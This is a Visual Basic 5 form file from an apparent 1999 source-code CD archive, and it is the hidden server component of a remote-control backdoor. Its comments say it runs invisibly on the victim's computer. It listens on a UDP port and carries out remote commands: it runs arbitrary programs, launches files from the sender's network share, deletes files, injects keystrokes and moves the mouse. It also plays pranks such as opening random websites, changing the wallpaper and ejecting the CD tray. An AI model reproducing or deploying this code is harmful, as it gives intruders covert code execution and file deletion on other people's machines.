home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / automa_1 / frmserve.frm < prev    next >
Text File  |  1999-08-23  |  5KB  |  220 lines

  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Begin VB.Form frmServer 
  4.    BorderStyle     =   0  'None
  5.    Caption         =   "Form1"
  6.    ClientHeight    =   3000
  7.    ClientLeft      =   0
  8.    ClientTop       =   0
  9.    ClientWidth     =   6000
  10.    Icon            =   "frmServer.frx":0000
  11.    LinkTopic       =   "Form1"
  12.    Picture         =   "frmServer.frx":030A
  13.    ScaleHeight     =   3000
  14.    ScaleWidth      =   6000
  15.    ShowInTaskbar   =   0   'False
  16.    StartUpPosition =   3  'Windows Default
  17.    Begin MSWinsockLib.Winsock win 
  18.       Left            =   1560
  19.       Top             =   2160
  20.       _ExtentX        =   741
  21.       _ExtentY        =   741
  22.       _Version        =   393216
  23.       Protocol        =   1
  24.       LocalPort       =   2000
  25.    End
  26. End
  27. Attribute VB_Name = "frmServer"
  28. Attribute VB_GlobalNameSpace = False
  29. Attribute VB_Creatable = False
  30. Attribute VB_PredeclaredId = True
  31. Attribute VB_Exposed = False
  32. Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" ( _
  33.     ByVal hWnd As Long, _
  34.     ByVal wMsg As Long, _
  35.     ByVal wParam As Long, _
  36.     ByVal lParam As Long) As Long
  37.     Private Const WM_SYSCOMMAND = &H112&
  38.     Private Const SC_SCREENSAVE = &HF140&
  39. Private Declare Function ShellExecute Lib "shell32.dll" Alias _
  40.     "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _
  41.     String, ByVal lpFile As String, ByVal lpParameters As String, _
  42.     ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  43. 'This form should not be visible to the person who has it running on their computer.
  44. 'It will simply do all the actions without actualy being visible.
  45.  
  46.  
  47. Private Sub Form_Load()
  48. With win
  49.     .Protocol = sckUDPProtocol
  50.     .LocalPort = 100
  51.     .Bind
  52. End With
  53. Dim DirNew As String
  54. Dim rc As Long
  55. On Error Resume Next
  56. MkDir "c:\testdummy"
  57. End Sub
  58.  
  59. Private Sub win_DataArrival(ByVal bytesTotal As Long)
  60. On Error Resume Next
  61. Dim data As String
  62. win.GetData data
  63.  
  64. m = sGetUserName()
  65. If data = "Connect" Then
  66. With win
  67. .SendData "log Welcome to " & m & "    [" & win.LocalIP & "]"
  68. .SendData "log " & Chr(10)
  69. .SendData "log Thank you for hacking my computer."
  70. .SendData "log " & Chr(10) & Chr(10)
  71. End With
  72. End If
  73. Select Case Left(data, 3)
  74. Case "ope"
  75. b = Right(data, Len(data) - 4)
  76. Shell b, vbNormalFocus
  77. win.SendData "log " & b & " has been succesfully opened, unless otherwise stated!" & Chr(10)
  78. Case "fil"
  79. frmFill.Show
  80. Case "crs"
  81. ms = Right(data, Len(data) - 4)
  82. b = Left(ms, 4)
  83. s = Right(ms, 4)
  84. SetCursorPos b, s
  85. Case "rcr"
  86. ms = Right(data, Len(data) - 4)
  87. b = Left(ms, 4)
  88. s = Right(ms, 4)
  89. SetCursorPos b, s
  90. win.SendData "log Mouse Sent to: " & b & ", " & s & Chr(10)
  91. Case "scr"
  92. ms = Right(data, Len(data) - 4)
  93. b = Left(ms, 4)
  94. s = Right(ms, 4)
  95. SetCursorPos b, s
  96. win.SendData "log Mouse Sent to: " & b & ", " & s & Chr(10)
  97. Case "www"
  98. RandomSite
  99. Case "olr"
  100. b = Right(data, Len(data) - 4)
  101. Shell "\\" & win.RemoteHostIP & "\" & b, vbNormalFocus
  102. win.SendData "log " & b & " has been successfully opened" & Chr(10)
  103. Case "cwp"
  104. b = Right(data, Len(data) - 4)
  105. t = SystemParametersInfo(20, 0, b, 1)
  106. win.SendData "log The background has been changed to " & b & Chr(10)
  107. Case "sss"
  108. 'enjoy!
  109. Dim tmp As Long
  110. tmp = SendMessage(Me.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
  111. win.SendData "log The Screensave has been successfully started" & Chr(10)
  112. Case "del"
  113. b = Right(data, Len(data) - 4)
  114. Kill b
  115. win.SendData "log " & b & " has been successfully deleted" & Chr(10)
  116. Case "snk"
  117. b = Right(data, Len(data) - 4)
  118. SendKeys b, 1
  119. win.SendData "log Typed in the letter " & b
  120. Case "web"
  121. b = Right(data, Len(data) - 4)
  122. ret& = ShellExecute(Me.hWnd, "Open", f, "", App.Path, 1)
  123. win.SendData "log Website " & b & " has been successfully opened" & Chr(10)
  124. Case "pan"
  125. For x = 1 To 20000
  126. Beep
  127. Next
  128. Case "ocd"
  129. SendMCIString "set cd door open", True
  130. Case "ccd"
  131. SendMCIString "set cd door closed", True
  132. End Select
  133. If Err Then win.SendData "log " & Err.Number & ":" & Chr(10) & Err.Description & Chr(10) & Chr(10)
  134. End Sub
  135.  
  136. Sub RandomSite()
  137. Dim f As String
  138. Dim s As String
  139. Dim y As Integer
  140. y = Int(Rnd * 50)  'Pick a random length for the web address
  141. 'enter a loop
  142. For I = 1 To y
  143. m = Int(Rnd * 28)
  144. 'Pick which letter is going to be used
  145. Select Case m
  146. Case 1
  147. 'set variable = a letter
  148. s = "a"
  149. Case 2
  150. s = "b"
  151. Case 3
  152. s = "c"
  153. Case 4
  154. s = "d"
  155. Case 5
  156. s = "e"
  157. Case 6
  158. s = "f"
  159. Case 7
  160. s = "g"
  161. Case 8
  162. s = "h"
  163. Case 9
  164. s = "i"
  165. Case 10
  166. s = "j"
  167. Case 11
  168. s = "k"
  169. Case 12
  170. s = "l"
  171. Case 13
  172. s = "m"
  173. Case 14
  174. s = "n"
  175. Case 15
  176. s = "o"
  177. Case 16
  178. s = "p"
  179. Case 17
  180. s = "q"
  181. Case 18
  182. s = "r"
  183. Case 19
  184. s = "s"
  185. Case 20
  186. s = "t"
  187. Case 21
  188. s = "u"
  189. Case 22
  190. s = "y"
  191. Case 23
  192. s = "v"
  193. Case 24
  194. s = "w"
  195. Case 25
  196. s = "x"
  197. Case 26
  198. s = "y"
  199. Case 27
  200. s = "z"
  201. End Select
  202. f = f & s
  203. Next
  204. f = "www." & f & ".com"
  205. Dim ret&
  206.       ret& = ShellExecute(Me.hWnd, "Open", f, "", App.Path, 1)
  207. win.SendData "log Website " & f & " has been opened randomly" & Chr(10)
  208. End Sub
  209. Private Function SendMCIString(cmd As String, fShowError As Boolean) As Boolean
  210. Static rc As Long
  211. Static errStr As String * 200
  212.  
  213. rc = mciSendString(cmd, 0, 0, hWnd)
  214. If (fShowError And rc <> 0) Then
  215.     mciGetErrorString rc, errStr, Len(errStr)
  216.     MsgBox errStr
  217. End If
  218. SendMCIString = (rc = 0)
  219. End Function
  220.